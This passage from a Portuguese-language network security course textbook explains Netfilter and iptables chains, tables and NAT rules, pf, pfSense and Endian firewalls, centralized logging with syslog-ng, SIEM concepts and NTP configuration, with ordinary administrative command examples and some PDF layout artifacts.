do Netfilter. pacotes. O modo de funcionamento é resumido na próxima figura.

Interface de entrada Interface de saída


Prerouting Forward Postrouting

Input Output

Capítulo 3 - Firewall – Conceitos


e implementação

51
A representação completa do funcionamento do Iptables é apresentada na figura 3.6.

Network

raw
PREROUTING

mangle mangle
mangle
INPUT PREROUTING
INPUT

filter
mangle nat
INPUT
INPUT PREROUTING

Routing
Local Decision
Process

Routing mangle
mangle
Decision FORWARD
INPUT

raw filter
OUTPUT FORWARD

mangle Routing
OUTPUT Decision

nat mangle
mangle
OUTPUT INPUT
POSTROUTING

filter
mangle nat
OUTPUT
INPUT POSTROUTING

Figura 3.6
Detalhamento
do processo de
Network encaminhamento
do Iptables.
Segurança de Redes e Sistemas

Chains do Netfilter:

11 PREROUTING

11 INPUT

11 FORWARD

11 OUTPUT

11 POSTROUTING

52
Tabela Nat
Consultada quando o pacote responsável pela criação da nova conexão é encontrado.
Utilizada para roteamento de pacotes entre redes diferentes.

Tabela Mangle
Realiza alterações especiais de maneira a auxiliar a filtragem de pacotes. Utiliza nos
cabeçalhos dos pacotes o TOS (Type of Service), que especifica o tipo de serviço ao qual o
pacote se destina.

Tabela Raw
Utilizada principalmente para configurar exceções no módulo ip_contrack do kernel.
Primeira dentre as tabelas no núcleo do netfilter, facilita a exclusão de pacotes antes de
serem processados na memória.

As chains do Netfilter são definidas de acordo com o momento do processamento do pacote


pelo kernel do Linux, podendo ser:

11 PREROUTING: nessa chain o pacote é tratado no momento em que chega à máquina,


antes de alcançar a fase de roteamento do kernel; nesse momento, podemos tratar
apenas os pacotes das tabelas Raw, Mangle e Nat.

11 INPUT: nessa chain são tratados os pacotes destinados ao firewall no momento anterior
à entrega ao sistema responsável pelo processamento desses pacotes. Nessa chain
podem ser analisados os pacotes das tabelas Mangle e Filter.

11 FORWARD: nessa chain são tratados os pacotes que não são destinados ao firewall e
serão encaminhados a outro host na rede. Nessa chain podem ser analisados os pacotes
das tabelas Mangle e Filter.

11 OUTPUT: nessa chain são tratados os pacotes gerados por processos do próprio host,
que serão enviados à rede. Nessa chain podem ser analisados os pacotes das quatro
tabelas.

11 POSTROUTING: nessa chain são analisados pacotes que estão saindo do firewall e não
sofrerão nenhum outro tipo de processamento pelo host. Nessa chain são permitidas
manipulações apenas de pacotes das tabelas Mangle e Nat.

Exercício de fixação 5 e
Netfilter
Capítulo 3 - Firewall – Conceitos
e implementação
Explique o funcionamento do Netfilter, usando como base o Iptables.

Controle perimetral
As chains INPUT e OUTPUT do Netfilter serão manipuladas para controlar o acesso ao
firewall, como as conexões que serão permitidas ao firewall. A chain FORWARD será utilizada
para con-trolar os pacotes que serão permitidos através do firewall. Dessa forma,
as primeiras protegem o firewall em si e a última protege as redes atrás dele.

53
Segue um exemplo de configuração de Dual-Homed firewall utilizando Iptables, com o objetivo de
gerar logs dos pacotes ICMP destinados ao firewall (que são encaminhados pelo firewall) e dos
que são gerados pelo firewall; a barra invertida “\” indica que a regra continua na próxima linha:

iptables –P INPUT ACCEPT # Define a regra padrão permitir


iptables –P OUTPUT ACCEPT # todos pacotes que chegarem
iptables –P FORWARD ACCEPT # ao firewall
iptables -t filter -A INPUT -p icmp --icmp-type echo-request \
-j LOG --log-prefix=”filter INPUT:”
iptables -t filter -A INPUT -p icmp --icmp-type echo-reply \
-j LOG --log-prefix=”filter INPUT:”
iptables -t filter -A OUTPUT -p icmp --icmp-type echo-request \
-j LOG --log-prefix=”filter OUTPUT:”
iptables -t filter -A OUTPUT -p icmp --icmp-type echo-reply \
-j LOG --log-prefix=”filter OUTPUT:”
iptables -t filter -A FORWARD -p icmp --icmp-type echo-request \
-j LOG --log-prefix=”filter FORWARD:”
iptables -t filter -A FORWARD -p icmp --icmp-type echo-reply \
-j LOG --log-prefix=”filter FORWARD:”

Os comandos são parâmetros passados para o Iptables durante a configuração das regras.
Principais parâmetros do Iptables:

-P: utilizado para definir a política padrão. Exemplo:

Iptables –P FORWARD DROP

Esse comando especifica que a ação padrão do firewall para FORWARD (passagem) de
pacotes será DROP (descarte os pacotes).

-t: especifica a tabela usada pelo Iptables; se não especificada, o padrão é filter (no exemplo
anterior não havia a necessidade do parâmetro –t filter). Exemplo:

iptables –t nat –L

-L: lista as regras definidas para o Iptables. Exemplo:

iptables –L

-F: (Flush) apaga todas as regras aplicadas em uma tabela. Exemplo:

iptables –t nat –F

-A: (Append) adiciona uma regra no final de uma tabela. Exemplo:

iptables –A INPUT –i eth0 –j DROP


Segurança de Redes e Sistemas

-j: (Jump) indica a ação ou o target da regra. Exemplo:

iptables –A INPUT –i eth0 –j ACCEPT

O conjunto de comandos apresentados consiste em apenas um subconjunto dos comandos


existentes na ferramenta. O conjunto completo de comandos pode ser visto na man page do
Iptables, acessível através do comando:

man iptables

Durante as atividades práticas, alguns comandos do Iptables serão exercitados.


54
Tradução de IP (NAT)
O Iptables tem uma tabela especial para manipulação de tradução de endereço IP nos
pacotes TCP/IP. Essa tabela será utilizada para a realização de controle de NAT das conexões,
sendo elas: SNAT, DNAT, NAT Estático e NAT Dinâmico, conforme apresentado na sessão 2.

Alguns exemplos de configuração de NAT serão vistos a seguir.

SNAT
Esse NAT foi concebido para modificar o endereço IP de origem em uma conexão TCP/
IP, como, por exemplo, alterar o endereço IP de origem de uma conexão TCP/IP de uma
máquina da rede interna (com endereço IP reservado que não pode ser roteado pela
internet) para um endereço público de rede IP:

# POSTROUTING statements for 1:1 NAT


# (Conexões da rede Interna para a rede de servidores)

iptables -t nat -A POSTROUTING -s 192.168.1.100 -o eth0 \


-j SNAT --to-source 200.200.200.1

# POSTROUTING NAT de Um-para-Muitos


# (Conexões originadas na rede Internet)

iptables -t nat -A POSTROUTING -s 192.168.1.0/24 –o eth0 \


-j SNAT --to-source 200.200.200.2

Nesses exemplos foram usados parâmetros para identificação da origem do pacote, que
podem ser usados em qualquer regra, não somente em regras de NAT. São eles:

11 -s: define a origem do pacote, que pode ser um único endereço IP ou uma rede, como nos
exemplos anteriores.

11 -o: define a interface de saída do pacote. Nos exemplos, para serem sujeitos às regras,
os pacotes devem sair pela interface eth0.

Para identificação do destino, podemos usar o parâmetro –d de forma análoga, assim como
o parâmetro –i para indicar a interface de entrada.

DNAT
Esse NAT, justamente como sugere o nome, foi concebido para realizar a troca do endereço
Capítulo 3 - Firewall – Conceitos
e implementação
IP de destino de uma conexão TCP/IP. No exemplo a seguir, temos um servidor em uma
rede com endereço privado, que não é roteável pela internet. Assim foi disponibilizado um
endereço IP público que deve ser traduzido para o endereço IP privado ao passar pelo NAT.

# (Conexões da Internet acessando servidor Interno)


iptables -t nat -A PREROUTING --dst 200.200.200.10 –p tcp \
--dport 80 -j DNAT --to-destination 172.16.21.2

Nesse exemplo, verificamos dois novos parâmetros: –p, que indica o protocolo em questão
(exemplos: TCP, UDP, ICMP) e –dport, que indica a porta de destino. De forma análoga, –
sport serve para indicar a porta de origem.

55
NAT Dinâmico
Diferente dos casos anteriores, onde havia traduções de endereços IP de Um para Um, ou
que normalmente chamamos de estáticos. Há também a necessidade de tradução de vários
endereços IP de uma rede para um único endereço IP ou um pequeno grupo de endereços
IP. Nesse exemplo, temos uma rede local com endereços IP privados, que ao estabelecer
conexão com a internet precisa de endereço de origem válido; para isso, todas as conexões
TCP/IP saem com o endereço IP válido da interface externa do firewall.

# Conexões da Rede Interna para a INTERNET


iptables -t nat -A POSTROUTING –s 192.168.1.0/24 –o eth0 -j MASQUERADE

Packet Filter (PF)


O Packet Filter (PF) foi desenvolvido no OpenBSD e é a opção padrão de firewall para essa
versão do BSD (Berkeley Software Distribution). Foi portado para o FreeBSD a partir de julho BSD
de 2003 e encontra-se disponível nos Ports do FreeBSD. Sistema operacional
Unix desenvolvido
Para instalação do PF no FreeBSD é necessário compilar o kernel do FreeBSD com suporte pela Universidade de
ao PF, habilitando os módulos necessários. Para o funcionamento do PF no FreeBSD é neces- Berkeley nos anos 70.
Hoje não é um único
sário adicionar as seguintes linhas de comando no arquivo de configuração /etc/rc.conf, Sistema Operacional,
conforme mostrado: mas uma extensa
família derivada do
pf_enable=”YES” # Habilita PF (se necessário inicia os módulos) original. Membros mais
pf_rules=”/etc/pf.conf” # arquivo de configurações das regras do PF conhecidos: FreeBSD,
pf_flags=”” # Parâmetros adicionais para iniciar o PF OpenBSD, NetBSD e
pflog_enable=”YES” # Inicia pflogd(8) Darwin (base do Mac
pflog_logfile=”/var/log/pflog” # Onde serão armazenados os logs do PF OS X).
pflog_flags=”” # Parâmetros adicionais ao iniciar os logs
Ports
Também conhecido por
Sistema de Ports ou
Ativação Coleção de Ports, é um
sistema de organização
Ocorre automaticamente editando o arquivo de configuração /etc/rc.conf conforme citado dos aplicativos
instalados no Sistema
ou manualmente, com os seguintes comandos:
Operacional FreeBSD.
Posteriormente foi
# pfctl –e # Para habilitar (enable) migrado para outras
# pfctl –d # Para desabilitar (disable) plataformas, como
OpenBSD, NetBSD e
Mac OS X.
Quando a ativação ocorrer manualmente, o PF não carregará automaticamente o conjunto
de regras do arquivo de configuração, o que terá de ser feito manualmente.

Controle
Segurança de Redes e Sistemas

Após iniciado o PF, pode ser utilizada a ferramenta pfctl para realizar as verificações e
controle do PF. Principais controles:

# pfctl -f /etc/pf.conf Carrega o arquivo pf.conf


# pfctl -nf /etc/pf.conf Analisa o arquivo, mas não carrega-o
# pfctl -Nf /etc/pf.conf Carrega apenas as regras de NAT do arquivo
# pfctl -Rf /etc/pf.conf Carrega apenas as regras de filtragem do arquivo
# pfctl -sn Mostra as regras atuais de NAT
# pfctl -sr Mostra as regras atuais de filtragem
# pfctl -ss Mostra a tabela de estados atual
# pfctl -si Mostra as estatísticas e os contadores de filtragem
# pfctl -sa Retorna TUDO o que pode ser mostrado

56
Configuração
A sintaxe do PF pode ser resumida da seguinte forma:

ação [direção] [log] [quick] [on interface] [fam_de_end] [proto protocolo] \


[from end_de_or [port porta_de_or]] [to end_de_dest [port porta_de_dest]] \
[flags sinalizadores_tcp] [estado]

11 Ação: executada nos pacotes que corresponderem à regra. Pode ser pass ou block.

11 Direção: sentido do fluxo do pacote na interface. Pode ser in (entrando) ou out (saindo).

11 Log: especifica que o pacote deve ser logado.

11 quick: significa que essa deve ser a última regra a ser analisada, não verificando
as regras seguintes.

11 Interface: nome da interface de rede que o pacote está passando, como fxp0 e en0.

11 Fam_de_end: protocolo que está sendo analisado; inet para IPv4 e inet6 para IPv6.

11 Protocolo: protocolo da camada de transporte que está sendo analisado. Pode ser TCP,
UDP ou qualquer outro protocolo especificado no arquivo /etc/protocols.

11 End_de_or, end_de_dest: endereços de origem e/ou destino especificado no cabeçalho


dos pacotes IP. Pode ser especificado endereço de host, blocos CIDR com uso da barra,
por exemplo: 192.168.1.0/24.

11 Porta_de_or, porta_de_dest: especifica o número da porta do cabeçalho da camada de


transporte. Pode ser representado por número de 1 a 65535, um nome de serviço válido
no arquivo /etc/services, um grupo de portas usando uma lista, ou ainda um range utili-
zando os seguintes símbolos:

22 != (diferente de)

22 < (menor que)

22 > (maior que)

22 <= (menor ou igual a)

22 >= (maior ou igual a)

22 >< (uma faixa)

11 Sinalizadores TCP: especificam as flags do cabeçalho TCP para serem analisadas. Como,
por exemplo, AS, que verifica se as flags SYN e ACK estão ligadas.

Uma regra pode ser criada, por exemplo, para permitir acesso ao serviço SSH, tendo como Capítulo 3 - Firewall – Conceitos
e implementação
origem da conexão o endereço IP de um segmento de rede:

pass in quick on fxp0 proto tcp from 192.168.1.4/30 to 192.168.1.1 port ssh
block in quick on fxp0 proto tcp from any to any port ssh
pass in all

pfSense
O pfSense é um projeto open source, licenciado sob a licença BSD, baseado no Sistema
Operacional FreeBSD e adaptado para assumir o papel de um firewall e/ou roteador de
redes. Possui recursos que muitas vezes só são encontrados em firewalls comerciais caros,
já que podemos realizar com o pfSense a imensa maioria das atividades que esperamos de
sistemas UTM. O projeto pfSense foi concebido em meados de setembro de 2004 por
Chris Buechler e Scott Ullrich.

57
A seguir, temos o dashboard principal de configuração do pfSense após instalação padrão:

O sistema oferece uma interface conveniente para configurar uma série de serviços Figura 3.7
avançados, como VPNs, balanceamento de carga e failover. A tela de status exibe em uma Configuração do
pfSense.
única página informações completas sobre o firewall, como carga de trabalho, estado das
interfaces de rede, serviços e logs do filtro de pacotes.
Segurança de Redes e Sistemas

58
A seguir, pode-se visualizar a interface de edição de regras de firewall do pfSense:

Figura 3.8 Conceitualmente, não há muita diferença entre editar regras em um firewall de linha de
Edição de regras comando, como o iptables, e via interface gráfica no pfSense. Todos os elementos
do pfSense.
identificados em uma regra típica, como ação, interfaces de entrada/saída, endereços de
origem/destino, porta e protocolo podem ser definidos na interface gráfica, porém de
forma mais conveniente.

A lista completa de regras ativa no firewall pode ser visualizada de forma fácil no pfSense,
bem como pesquisada e agrupada para maior conveniência do administrador.

O pfSense está disponível para download em https://www.pfsense.org. Além de ser possível Capítulo 3 - Firewall – Conceitos
e implementação
baixar uma imagem ISO para instalação em sistema virtualizado ou físico, a fabricante do
pfSense, Netgate, oferece também um conjunto de appliances físicos com o pfSense
pré-instalado, juntamente com hardware homologado e especialmente configurado para
lidar com grandes quantidades de tráfego de rede.

Endian
O Endian Firewall é uma distribuição Linux especializada em roteamento/firewall que possui
uma interface unificada de gerenciamento. Foi desenvolvido pela italiana Endian Srl e pela comu-
nidade. O Endian Firewall foi originalmente baseado no IPCop, um fork do projeto Smoothwall.

O sistema é uma distribuição Linux especialmente desenvolvida com foco em redes e segu-
rança, com opções de hardening habilitadas. Ele é instalado em um sistema via imagem ISO
gravada em CD ou USB, e operada via linha de comando ou interface web especificamente

59
desenvolvida para este fim. Seu principal uso é como firewall, gateway e roteador, também
oferecendo suporte a características como proxy web, FTP e de e-mail:

11 Sistema facilitado para edição de regras de firewall via interface gráfica.

11 Assim como o pfSense, possui recursos sofisticados.

11 Divide suas interfaces em nomenclaturas como GREEN, RED, ORANGE e BLUE, permitindo
segmentação de tráfego de forma conveniente.

11 Configuração de recursos como:

22 Servidor VPN usando OpenVPN ou IPsec.

22 Múltiplas interfaces uplink com suporte a failover.

22 Traffic shaping.

22 Antivírus web, FTP e e-mail.

22 Antispam.

22 IDS e IPS.

22 Gerência de usuários via RADIUS, LDAP e NTLM SSO. Figura 3.9


O dashboard
A interface do dashboard principal do Endian pode ser vista na imagem a seguir: principal do Endian.
Segurança de Redes e Sistemas

Assim como no pfSense, o dashboard oferece uma visão única e facilitada do estado atual
do firewall, incluindo configurações da máquina, estado das interfaces de rede e carga
corrente do servidor.

60
A edição de regras de firewall é feita de forma gráfica, via página web mostrada a seguir:

Figura 3.10 As interfaces origem/destino para regras no Endian são definidas via cores:
Edição de regras
de firewall. 11 RED: conectada à rede externa.

11 GREEN: conectada à rede interna ou intranet, entendida como segura.


Capítulo 3 - Firewall – Conceitos
e implementação
11 ORANGE: conectada à DMZ (demilitarized zone), uma rede na qual serviços serão
expostos para a internet.

11 BLUE: rede sem fio isolada, na qual dispositivos wireless podem ser conectados.
Essa rede é segmentada na rede GREEN, aumentando a segurança da topologia.

Os princípios básicos de edição de regras em firewall permanecem os mesmos de uma


interface CLI, como interfaces de entrada/saída, endereços de origem/destino, portas e
protocolos, bem como ações a tomar. As regras podem ser visualizadas em lista completa,
pesquisadas e editadas posteriormente.

O Endian firewall está disponível para download em https://www.endian.com. Além da


versão community, que pode ser baixada livremente, existem também versões comerciais
para empresas: UTM, Hotspot e Connect Platform. Assim como no caso do pfSense, a Endian
também possui UTMs baseados em hardware para negócios com requerimentos mais espe-
cíficos do ponto de vista de tráfego passante e capacidade de processamento.
61
62
Segurança de Redes e Sistemas
4
Serviços básicos de segurança
objetivos

Apresentar os serviços fundamentais para buscar evidências de problemas nos


sistemas computacionais em rede.

conceitos
Gerenciamento de logs, sincronismo de tempo e monitoramento de serviços.

Introdução
Nesta sessão, serão apresentadas técnicas e tecnologias para o monitoramento de
dispositivos e recursos de redes. Ao final desta sessão, o aluno será capaz de compreender
as técnicas e realizar a configuração de ferramentas de sincronismo de tempo, centralização
de logs e monitoria de serviços.

Esta sessão não tem o objetivo de instruir o aluno na instalação dessas ferramentas;
para isso, recomendamos a consulta aos sites de cada ferramenta. Para a realização
dos laboratórios, as ferramentas serão instaladas com foco no entendimento de seu
funcionamento e configuração.

Exercício de nivelamento 1 e
Serviços básicos de segurança
O que você entende por monitoramento dos recursos de redes?

Capítulo 4 - Serviços básicos de segurança

O que são logs?

63
Gerenciamento de logs
O uso de serviços de log centralizados é importante para o gerenciamento de falhas nos
dispositivos e no gerenciamento da segurança com a preservação do registro de eventos em
casos de falhas de sistema ou comprometimento de algum dispositivo da rede. Cada organi-
zação possui requisitos diferentes de gerenciamento de logs, que determinarão o detalha-
mento dos logs coletados, por quanto tempo serão armazenados e como serão analisados.

No gerenciamento de logs, o objetivo é concentrar em um sistema todos os eventos dos d


equipamentos da rede, softwares de segurança, sistemas operacionais e aplicativos. Para definir a estratégia
de logs, recomendamos
É necessário concentrar esforços para que esses dados não sejam comprometidos por o artigo Guide to
Computer Security Log
sistemas mal-intencionados. Eles serão úteis na análise de incidentes de segurança ou
Management, de Karen
falhas computacionais. Para isso é necessário que o servidor de logs esteja protegido por Kent e Murugiah
um sistema de controle de perímetro, já mencionado nas sessões anteriores. Também é Souppaya, do NIST
(National Institute of
necessária a realização de uma configuração segura do servidor, o que será visto adiante.
Standarts and
Technology).
Syslog-ng
Source
É como o syslog-ng vai receber as mensagens. Exemplo: Unix socks“/dev/log” ou outras fontes.

Destination
É para aonde serão enviados ou guardados os logs recebidos pelo syslog-ng. Exemplo:
arquivo local, rede, SGDB Oracle, MySQL etc.

Log Paths
No syslog-ng podem ser definidas várias origens e destinos. O objeto “global log” define o
destino de cada origem ou de um conjunto delas.

Filter
Os filtros do syslog-ng incrementam a forma como serão realizados os caminhos dos logs:

11 Syslog-ng como agente.

11 Syslog-ng como servidor.

O syslog-ng é uma ferramenta distribuída com a licença de software livre, muito utilizada
atualmente. É uma solução que, pela sua qualidade do código, permite a criação de um
servidor de logs na rede para vários clientes.

O syslog-ng é uma implementação do protocolo Syslog, definido pela RFC 5424 – The Syslog
Segurança de Redes e Sistemas

Protocol. Essa RFC define o protocolo e uma série de particularidades, incluindo a porta
padrão do protocolo (UDP 514) e as facilidades e severidades. As facilidades são categorias
que indicam a origem da mensagem. Através delas é possível separar os registros de log em
arquivos separados, organizando melhor as informações. A lista a seguir apresenta todas as
facilidades definidas na RFC, com seus respectivos códigos e siglas:

64
Código Nome Sigla

0 kernel messages kern

1 user-level messages user

2 mail system mail

3 system daemons daemon

4 security/authorization messages auth

5 messages generated internally by syslogd syslog

6 line printer subsystem lpr

7 network news subsystem news

8 UUCP subsystem uucp

9 clock daemon cron

10 security/authorization messages authpriv

11 FTP daemon ftp

12 NTP subsystem ntp

13 log audit audit

14 log alert alert

15 clock daemon cron

16 local use 0 local0

17 local use 1 local1

18 local use 2 local2

19 local use 3 local3

20 local use 4 local4

21 local use 5 local5

Tabela 4.1 22 local use 6 local6


Facilidades
definidas na RFC. 23 local use 7 local7

Conforme já mencionado, além das facilidades, temos ainda as severidades, que indicam o
Capítulo 4 - Serviços básicos de segurança

nível de “profundidade” do registro de log correspondente. As severidades definidas no


padrão estão nessa tabela:

65
Código Descrição Sigla

0 Emergency emerg

1 Alert alert

2 Critical crit

3 Error err

4 Warning warning

5 Notice notice

6 Informational info
Tabela 4.2
7 Debug debug
Severidades.

Quando uma severidade 0 é definida no sistema, significa que apenas as mensagens


emergenciais serão registradas. À medida que o código da severidade vai aumentando,
temos mais detalhes do sistema e por consequência a quantidade dos registros aumenta até
a severidade 7, onde todas as ações são registradas. A severidade 7 é útil no auxílio de
resolução de problemas, como quando um determinado sistema não está se comportando
como se espera.

O syslog-ng é suportado por ambientes heterogêneos, podendo ser configurado em máquinas


Linux, BSD e Unix como agente e servidor. Quando o syslog-ng é utilizado como agente ou
servidor, é possível que as mensagens sejam transmitidas de forma criptografada na rede.
É possível também sua configuração em sistemas MS Windows, mas somente como agente.

O syslog-ng é configurado editando o arquivo de configuração “syslog-ng.conf”. O conceito


da configuração do syslog-ng é definir os objetos globais, que são:

11 Source: é como o syslog-ng vai receber as mensagens; como agente, ele pode receber os
logs do sistema do arquivo especial do Unix socks “/dev/log” ou outras fontes.

11 Destination: é para aonde serão enviados ou guardados os logs recebidos pelo syslog-ng;
o destino pode ser um arquivo local, um servidor de Syslog na rede ou até mesmo um
servidor de banco de dados Oracle, MySQL, Microsoft SQL Server ou outros destinos.

11 Log Paths: no syslog-ng podem ser definidas várias origens e destinos; o objeto “global
log” define o destino de cada origem ou de um conjunto delas.

11 Filter: os filtros do syslog-ng incrementam a forma como serão realizados os caminhos


dos logs; assim, uma origem ou um grupo de origens não precisa necessariamente ser
encaminhado para um destino ou um grupo de destinos, sendo possível filtrar cada tipo
de mensagem de origem e com base nesse filtro escolher o destino.

O fluxo do syslog-ng é ter uma origem ou um conjunto delas, um filtro e um destino ou um


Segurança de Redes e Sistemas

conjunto deles, conforme ilustra a próxima figura.

66
Origem 1 Destino 1

Filtro
Origem 2 Destino 2

Figura 4.1 Origem n Destino n


Fluxo syslog-ng.

Syslog-ng como agente


Se, por exemplo, em um servidor Linux desejamos enviar todas as mensagens do sistema e
do próprio syslog-ng para um servidor syslog-ng da rede configurada com o endereço IP
10.20.30.2 na porta UDP 514, teremos a seguinte sintaxe para o arquivo de configuração
“syslog-ng.conf”:

source s_local { unix-stream(“/dev/log”); internal(); };


destination d_syslog-server {udp(“10.20.30.2” port(514)); };
log { source(s_local); destination(d_syslog-server); };

Syslog-ng como servidor


Neste exemplo, teremos a sintaxe do arquivo de configuração do servidor syslog-ng
para receber as mensagens dos agentes. Dessa forma, o servidor está configurado para
receber as mensagens de syslog na porta UDP 514 e armazenar no arquivo do cliente
específico do diretório “/var/log/agente.log”, onde o termo agente será substituído pelo
hostname do agente:

source s_rede { udp(ip(10.20.30.2 port(514)); };


destination d_hosts-file {file(“/var/log/$HOSTS.log“); };
log { source(s_rede); destination(d_hosts-file); };

As facilidades podem ser configuradas no syslog-ng através dos filtros, como no exemplo
de configuração:

filter f_cron { facility(cron); };


log { source(s_local); filter (f_cron); destination (d_net); };
Capítulo 4 - Serviços básicos de segurança

As severidades podem ser configuradas conforme o exemplo:

filter f_debug { level(debug); };


filter f_at_least_info { level(info..emerg); };

No exemplo anterior, verifica-se que pode ser criado um filtro contendo mais de uma severidade.

67
Exercício de fixação 1 e
Gerenciamento de logs
Explique os objetivos do gerenciamento de logs.

Exercício de fixação 2 e
Syslog
O que é um syslog-ng?

Logs do Windows
Os logs centralizados possibilitam a análise de correlação de logs:

11 http://www.syslog.org/wiki/Main/LogAnalyzers.

11 http://www.ossec.net.

O Snare é um sistema capaz de capturar os logs do Microsoft Windows e enviá-los para o

l
sistema de syslog Unix, como o syslog-ng.

Uma vantagem importante da centralização de logs é a possibilidade de analisar a


Para indicações de
correlação entre eles, de modo a confrontar logs de diferentes origens e chegar a analisadores de log:
conclusões interessantes sobre o funcionamento da rede. http://www.syslog.org/
wiki.
Um analisador e correlacionador de logs utilizado pela comunidade de segurança é o OSSEC.

Outra questão importante a ser considerada é o registro de logs em sistemas Windows.


Infelizmente, o padrão Syslog é um padrão Unix, de modo que os sistemas Windows não
o utilizam de forma nativa. Dessa forma, não é possível, utilizando apenas os recursos do
Sistema Operacional, redirecionar os registros de log gerados por um sistema Windows para
o syslog-ng, como foi feito antes para sistemas Unix. Apesar disso, existem algumas ferra-
mentas que permitem a compatibilidade entre o sistema de logs do Windows e o syslog-ng.

Uma ferramenta simples e gratuita é o Snare, disponível em


https://www.snaresolutions.com/products/snare-agents.

Correlacionamento de eventos
Segurança de Redes e Sistemas

A gestão de logs de forma centralizada é fundamental, mas junto com ela temos vários desafios:

11 O volume de logs é altíssimo, mesmo com poucas máquinas virtuais ou sistemas interligados.

11 Não é factível monitorar esse grande volume de logs manualmente; mesmo com uma
equipe grande e bem treinada, não é possível analisar tudo com atenção e profundidade.

11 Eventos isolados de uma única ferramenta podem ter pouca significância; muitas vezes,
apenas quando conectados com eventos de outras ferramentas auxiliares é possível
entender que um apontamento nos logs é de fato preocupante ou merece atenção.

68
Ferramentas SIEM (do inglês, Security Information and Event Management) são soluções
de software que permitem que os eventos gerados por diversas aplicações de segurança
(tais como firewalls, proxies, sistemas de prevenção a intrusão e antivírus) sejam coletados,
normalizados, armazenados e correlacionados; essa gestão possibilita uma rápida
identificação e resposta aos incidentes.

A ferramenta SIEM combina ferramentas SIM (security information management) e SEM


(security event manager). Enquanto ferramentas SEM oferecem monitoramento em tempo
real dos eventos de segurança, coletando e agregando os dados (com resposta automática
em alguns casos), ferramentas SIM oferecem análise histórica dos eventos de segurança,
também coletando e correlacionando os eventos, porém não em tempo real; isso permite
consultas mais complexas ao repositório.

Como mostrado no motivador, do ponto de vista do gerenciamento de segurança da


informação e gestão de registros de eventos, observa-se:

11 O grande número de logs, eventos e outras informações relativas às atividades monito-


radas pelas soluções de segurança e do próprio funcionamento interno.

11 Existência de ilhas de defesa, onde cada solução específica trabalha de forma isolada.

11 Interfaces heterogêneas de monitoração, com visões isoladas do estado de segurança do


ambiente, exigindo especialistas para sua utilização e interpretação dos dados.

11 Alta taxa de falsos positivos, decorrente das análises isoladas pelas soluções, sem visão
de todo o ambiente.

11 Grande número de regulamentações, padronizações, normas, políticas e compliance


obrigam as empresas a dedicar maior cuidado com a segurança da informação.

Com base nesses problemas, uma solução SIEM atende com as seguintes características:

11 Acesso em tempo real, centralizado e consistente a todos os logs e eventos de segurança,


independente do tipo de tecnologia e fabricante.

11 Correlação de logs de tecnologias heterôgeneas, conectando atributos comuns e/ou


significativos entre as fontes, de modo a transformar os dados em informação útil.

11 Identificação de comportamentos, incidentes, fraudes, anomalias e quebras de baseline.

11 Alertas e notificações que podem ser disparadas automaticamente no caso de não


conformidade com as políticas de segurança e/ou normas regulatórias, ou ainda, de
acordo com as regras de negócio pré-estabelecidas.

11 Emissão de relatórios sofisticados sobre as condições de segurança do ambiente para


equipes de SOC (Security Operations Center) auditoria ou resposta a incidentes.
Capítulo 4 - Serviços básicos de segurança

11 Retenção e indexação a longo prazo dos dados possibilitando posterior análise forense.

A implantação de uma ferramenta SIEM, embora ofereça várias vantagens no longo prazo,
é uma tarefa árdua e que demanda bastante investimento da equipe de segurança da
informação para ser concluída com sucesso. É necessário conectar diferentes ferramentas
em um sistema único, produzir expressões regulares e padrões de casamento para as
diversas mensagens de log sendo recebidas, bem como regras de correlacionamento que
transformem essa grande massa de dados em, de fato, informação. A redução de falsos
positivos e filtragem de eventos espúrios também demanda atenção, e pode levar semanas
ou meses para ser realizada.

Existem várias ferramentas SIEM comerciais voltadas ao mercado de gestão e correlação de


eventos. Dentre estas, destacam-se o IBM QRadar, Splunk, LogRhythm, McAfee e AlienVault.

69
Apesar de possuírem alto custo de aquisição, oferecem um grande conjunto de recursos e
(normalmente) integração facilitada com soluções proprietárias de segurança.

Na esfera open-source, as ferramentas que se destacam são o GrayLog, a ELK Stack


(Elasticsearch, Logstash e Kibana) e a solução OSSIM, da AlienVault. Embora não ofereçam
o mesmo nível de integração e exijam maior esforço de configuração que suas contrapartes
proprietárias, essas ferramentas são extremamente capazes e cada vez mais utilizadas por
organizações em todo o mundo.

Serviço de hora
O NTP pode ser configurado como servidor ou cliente. É um protocolo para sincronização
dos relógios dos computadores, baseado em uma fonte confiável: os relógios atômicos do
Observa-tório Nacional, que definem a hora legal brasileira.

Plugins NTP:

11 NTPD.

11 NetTime.

O site do NTP é www.ntp.org e armazena o projeto NTP, que desenvolve uma ferramenta de
sincronização de relógios para computadores Linux, Unix, VMS e Windows. O NTP pode ser
configurado como servidor, como cliente e/ou as duas funcionalidades ao mesmo tempo.
Assim, podemos buscar uma fonte de relógio externa, se assim desejarmos, e redistribuir
essa fonte de hora confiável para a configuração dos relógios das máquinas da rede interna.
A configuração do NTP ocorre com a edição do arquivo ntp.conf, localizado normalmente em
/etc/ntp.conf nos servidores Unix. A seguir um exemplo de configuração do NTP utilizando
como referência os relógios do Comitê Gestor da Internet do Brasil (CGI.br):

# “memória” para o escorregamento de frequência do micro


# pode ser necessário criar esse arquivo manualmente com
# o comando touch ntp.drift
driftfile /etc/ntp.drift

# estatísticas do ntp que permitem verificar o histórico


# de funcionamento e gerar gráficos
statsdir /var/log/ntpstats/
statistics loopstats peerstats clockstats
filegen loopstats file loopstats type day enable
filegen peerstats file peerstats type day enable
filegen clockstats file clockstats type day enable

# servidores públicos do projeto ntp.br


server a.ntp.br iburst
server b.ntp.br iburst
server c.ntp.br iburst

# outros servidores
Segurança de Redes e Sistemas

# server outro-servidor.dominio.br iburst

# configurações de restrição de acesso


restrict default kod notrap nomodify nopeer

Para iniciar o NTP pela primeira vez, utilize o comando: # ntpd –q –g

70
Dessa forma, o NTP será forçado a sincronizar o relógio local da máquina, mesmo que ele
esteja com diferença superior a 16 minutos do servidor NTP da rede. Após iniciar o NTP,
podemos deixá-lo rodando na máquina como deamon, com o seguinte comando:

# ntpd

Para consultar o estado do aplicativo NTP, utilize o comando:

# ntpq -c pe
remote refid st t when poll reach delay offset jitter
==============================================================================
*b.ntp.br 200.20.186.76 2 u - 64 1 34.838 -32.439 29.778
c.ntp.br 200.20.186.76 2 u 1 64 1 9.252 -33.407 4.105
#

A saída do comando inclui as seguintes informações:

11 remote: nome ou IP da fonte de tempo.

11 refid: identificação da referência (par do sistema) a qual o servidor de tempo remoto


está sincronizado.

11 st: o estrato da fonte de tempo.

11 when: quantos segundos se passaram desde a última consulta a essa fonte de tempo.

11 poll: intervalo em segundos de cada consulta a essa fonte.

11 reach: registrador de 8 bits, que vai girando para a esquerda, representado na forma
